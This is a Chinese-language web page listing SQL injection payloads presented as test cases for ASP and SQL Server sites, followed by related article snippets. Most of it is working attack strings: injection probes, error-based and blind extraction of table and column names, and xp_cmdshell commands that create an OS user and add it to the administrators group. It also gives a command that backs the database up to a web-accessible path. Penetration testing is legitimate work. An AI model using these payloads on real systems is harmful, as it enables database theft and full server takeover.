ASP+SQL Server SQL 注入攻击测试用例


SQL注入攻击测试用例


说明


Night--

Night’ and 1=1--
Night’ and 1=2--


判断是否存在注入漏洞。SQL Server中的行注释符号为”--”


URL;and user>0--


User 是SQL Server的一个内置变量,它的值是当前连接的用户名,数据类型为nvarchar。它的值是当前连接的用户名,数据类型为nvarchar。用nvarchar类型与int类型比较会引起错误,而SQL Server在返回的错误信息中往往会暴露出user的值;将nvarchar值“XXX”转换数据类型为int的列时发生语法错误。


URL;and db_name()>0--


获取数据库名称


URL;and (select count(*) from sysobjects)>0—

 

 


msysobjects是Access 数据库的系统表,sysobjects是SQL Server的系统表。通过这两次攻击尝试,可以从服务器的反馈中辨别出服务器使用的数据库类型.


 

URL;and (select count(*) from msysobjects)>0--


Night’ and (select count(*) from sysobjects where Xtype=’u’ and status>0)=表的数目--


测试数据库中有多少用户自己建立的表,sysobjects中存放着数据库内所有表的表名,列名等信息。xtype=’U’ and status>0 表示只检索用户建立的表名


Night’ and (select  top 1 name from sysobjects where Xtype=’U’ and status>0 )>0--


获得第一个表的名字


Night’ and (select  top 1 name from sysobjects where Xtype=’U’ and status>0 and name!=’第一个表名’)>0--


通过类似的方式可以获得其他表名


Night’ and (Select Top lcol_name(object_id(‘表名’),1) from sysobjects)>0--


通过sysobjects获得列名


Night’ and (select top 1 len(列名) from 表名)>0--


获得列名长度


Night’ and (select top 1 asc(mid(列名,1,1)) from 表名)>0--


逐字读出列名的每一个字符,通常用户没有报错返回的盲注


URL;exec master..xp_cmdshell  “net user 用户名和密码” /add


利用存储过程xp_cmdshell在服务器主机上添加用户


URL;exec master..xp_cmdshell  “net localgroup administrators 用户名 /add”--


将添加的用户加入管理员组


URL;backup database 数据库名 to disk=’路径’;--


利用存储过程将数据库备份到可以通过HTTP访问到得目录下,或者也可通过网络进行远程备份

最新内容请见作者的GitHub页:http://qaseven.github.io/

时间: 2024-12-02 08:59:04

ASP+SQL Server SQL 注入攻击测试用例的相关文章

PHP+MySQL 网站 SQL 注入攻击测试用例

SQL注入攻击测试用例 说明 Night Night' and 1=1# Night' and 1=2# 判断注入点.第一次是正常请求,如果存在注入漏洞,那么第二次请求得到结果应该与第一次一样,并且第三次请求得到的结果应该与前两次不同 Night' or 1=1# 返回所有数据,常用于有搜索功能的页面 Night' union select version()# 返回数据库版本信息 Night' union select database()# 返回当前的库名 Night' union sele

SQL Server 2000 注入防护大全(一)

server SQL Server 2000 注入防护大全(一) Sql注入早源于'or'1'='1 最重要的表名: select * from sysobjectssysobjects ncsysobjectssysindexes tsysindexessyscolumnssystypessysuserssysdatabasessysxloginssysprocesses 最重要的一些用户名(默认sql数据库中存在着的) publicdboguest(一般禁止,或者没权限)db_sercuri

SQL Server 2000 注入防护大全(二)_漏洞研究

SQL Server 2000 注入防护大全(二) 传统查询构造:select * FROM news where id=... AND topic=... AND .....admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass <>'select 123;--;use master;--:a' or name like

SQL Server 2000 注入防护大全(一)_漏洞研究

SQL Server 2000 注入防护大全(一) Sql注入早源于'or'1'='1 最重要的表名: select * from sysobjectssysobjects ncsysobjectssysindexes tsysindexessyscolumnssystypessysuserssysdatabasessysxloginssysprocesses 最重要的一些用户名(默认sql数据库中存在着的) publicdboguest(一般禁止,或者没权限)db_sercurityadmin

.NET编程和SQL Server ——Sql Server 与CLR集成 (学习笔记整理-1)

原文:.NET编程和SQL Server --Sql Server 与CLR集成 (学习笔记整理-1) 一.SQL Server 为什么要与CLR集成 1. SQL Server 提供的存储过程.函数等十分有限,经常需要外部的代码来执行一些繁重的移植: 2.与CLR集成可将原本需要独立的程序来实现的功能迁移到SQL Server 内部进行数据操作: 3.T-SQL数据查询语言在返回数据集方面很好,但是除此之外表现不佳.与CLR的集成可解决这一问题: 4..NET的操作代码和执行的速度比T-SQL

在ASP.NET中防止注入攻击[翻译]

asp.net|攻击 出处: MSDN翻译:云中城 BLOG 应用范围: ASP.NET vertion 1.1 ASP.NET vertion 2.0   概要: 文本主要介绍如何校验用户输入从而防止注入式攻击.校验用户输入是非常必要的,几乎所有程序级的攻击都包含恶意输入的手段. 你应该校验包括字段,查询字串参数,Cookie等一切用户输入项来保护你的程序免受注入攻击.你得假设所有的用户输入都是恶意的,确保在服务器端对所有的用户输入进行校验.使用基于客户端的验证可以减少页面的住返次数,改进性能

在ASP.NET中防止注入攻击

asp.net|攻击 目的: 对输入的字串长度,范围,格式和类型进行约束. 在开发ASP.NET程序时使用请求验证防止注入攻击. 使用ASP.NET验证控件进行输入验证. 对不安全的输出编码. 使用命令参数集模式防止注入攻击. 防止错误的详细信息被返回到客户端. 概述 : 你应该在程序中验证所有的不信任输入.你应该假定所有的用户输入都是非法的.用户可以在应用程序中提供表单字段,查询字串,客户端cookies和浏览器环境值比如用户代理字串和IP地址等. 弱输入校验通常为注入攻击提供了机会.下面是常

SQL Server SQL语句导入导出大全

server|语句 简介:微软SQL Server数据库SQL语句导入导出大全,包括与其他数据库和文件的数据的导入导出./*******  导出到excel EXEC master..xp_cmdshell 'bcp SettleDB.dbo.shanghu out c:\temp1.xls -c -q -S"GNETDATA/GNETDATA" -U"sa" -P""' /***********  导入Excel SELECT * FROM O

SQL SERVER SQL Agent服务使用小结

1.在查询分析器理启动或停止SQL Agent服务 启动 use master go xp_cmdshell 'net start SQLSERVERAGENT' 停止 use master go xp_cmdshell 'net stop SQLSERVERAGENT' 将服务的启动从手工方式改为自动启动方式 exec xp_cmdshell 'scm -Action 7 -Service mssqlserver -SvcStartType 2' 直接用命令行执行引号内的内容也可以. 2.启动